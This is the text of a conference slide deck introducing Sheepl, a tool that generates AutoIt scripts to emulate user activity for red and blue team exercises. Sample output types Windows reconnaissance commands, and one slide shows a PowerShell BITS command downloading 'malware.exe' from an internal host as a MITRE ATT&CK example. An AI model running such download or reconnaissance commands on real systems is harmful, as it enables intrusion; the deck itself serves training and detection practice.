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Agenda

Why this tool?
Network Development
Introducing Sheepl
Supporting Red Teaming tradecraft
Supporting Blue Teaming tradecraft
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Skills 
Gap
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practice makes perfect



perfect practice makes perfect
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people



“Next, users often download, 
create or generate files such as 
doc(x), pdf, zip and ISO files. We 
have found no tools applications 
available that generate such files. 

Furthermore, there are also no 
tools available that generates 
search browser history, cookie 
session or stored web page 
credentials.”



Traditional script based approach it’s 
hard to guarantee where the input goes

Requires runtimes on the client

timing becomes a PITA

Challenges



• Tasks
• Time
• Type
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• Create more realistic user activity

• Wanted to focus on tradecraft rather than prediction

• Ability to emulate attack and defence

• Portable solution – compiled with all the behavior baked in

Goals



SHEEPL







AutoIt v3 is a freeware BASIC-like scripting 
language designed for automating the 
Windows GUI and general scripting. It uses 
a combination of simulated keystrokes, 
mouse movement and window/control 
manipulation in order to automate tasks in 
a way not possible or reliable with other 
languages (e.g. VBScript and SendKeys). 
AutoIt is also very small, self-contained 
and will run on all versions of Windows 
out-of-the-box with no annoying 
“runtimes” required!



SheepL

• Written in python3 and generates valid AutoIT language

• Tasks – creating documents, browsing, command lines

• Emulation of key strokes

• Amount of time to complete them

• Random time intervals

• Compiled into a binary that can be run at startup/login



SheepL

• Two modes – interactive console and JSON profiles

• Encapsulated class files for tasking

• Extensible per task CMD module

• Template stub code built into the tooling

• Subtasks for specific modules

• Uses just Python3 (3.4+) standard library and AutoIT



SheepL

• Creates log entries

• Forensic artifacts

• Process for injection / token stealing

• Normal network noise



© Trustwave 2018

moments of opportunity

Matt Lorentzen – Average Pentester
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Interactive Mode





#include <Array.au3>
#include <WinAPI.au3>
#include <Word.au3>

Opt("SendKeyDelay", 40)

; define global task list

Global $aTasks[3] = ['WordDocument_0', 'CommandShell_1', 'PowerShell_2'] 

; creates Sleep Times array

Global $aSleepTimes[4] = ['3778', '27855', '6257', '22110']

; copies original array just encase the task list borks

$aRandTasks = $aTasks

Sheepl Output
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ConsoleWrite("[!] Going round the loop" & @CRLF)

For $i In $aRandTasks

; start with a sleep Value

; pops the last shuffled value from the sleep array and assigns

Local $vSleepTime =_ArrayPop($aRandSleepTimes)

Sleep($vSleepTime)

;ConsoleWrite($i & @CRLF)

; gets the current function from the shuffled array

$curfunc = ($i & @CRLF)

ConsoleWrite($curfunc)

; call the function from the shuffled array

Call($i)

;Sleep($vSleepTime)

Next
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WordDocument_0()

Func WordDocument_0()

; Creates a Word Document : c:\users\matt\Desktop\document.doc

Local $oWord = _Word_Create()

; Add a new empty document

$oDoc = _Word_DocAdd($oWord)

WinActivate("[CLASS:OpusApp]")

WinWaitActive("[CLASS:OpusApp]")

SendKeepActive("[CLASS:OpusApp]")
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Send("ipconfig /all{ENTER}")

sleep(18305)

Send("netstat -anto -p tcp{ENTER}")

sleep(8183)

Send("net user{ENTER}")

sleep(2902)

Send("net localgroup Administrators{ENTER}")

sleep(8893)

Send("whoami /groups{ENTER}")

sleep(16051)

Send('exit{ENTER}')

; Reset Focus

SendKeepActive("")
27



28

Compile Options





Parent -> Child Processes



Processes



Sub 
tasks
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MITRE ATT&CK Framework







MITRE ATT&CK Technique ID (T1197)

BITS Jobs

Powershell Execution – BITS Jobs
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import-module *bits*

start-bitstransfer 'http://10.10.77.100/malware.exe’ 'c:\users\matt\Desktop\malware.exe'



SSH connections and 
controlling Linux,
IoT, or anything else 
that can be managed 
over SSH

Accessing non-
Windows based 
systems





Bash
Kali
Debian
…..

Windows Sub 
System for Linux





Road Map

Traits
Typing ability
Woolpack Language 
(which is basically 
markdown)
More tasks
Extending web 
interaction
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https://github.com/SpiderLabs/sheepl


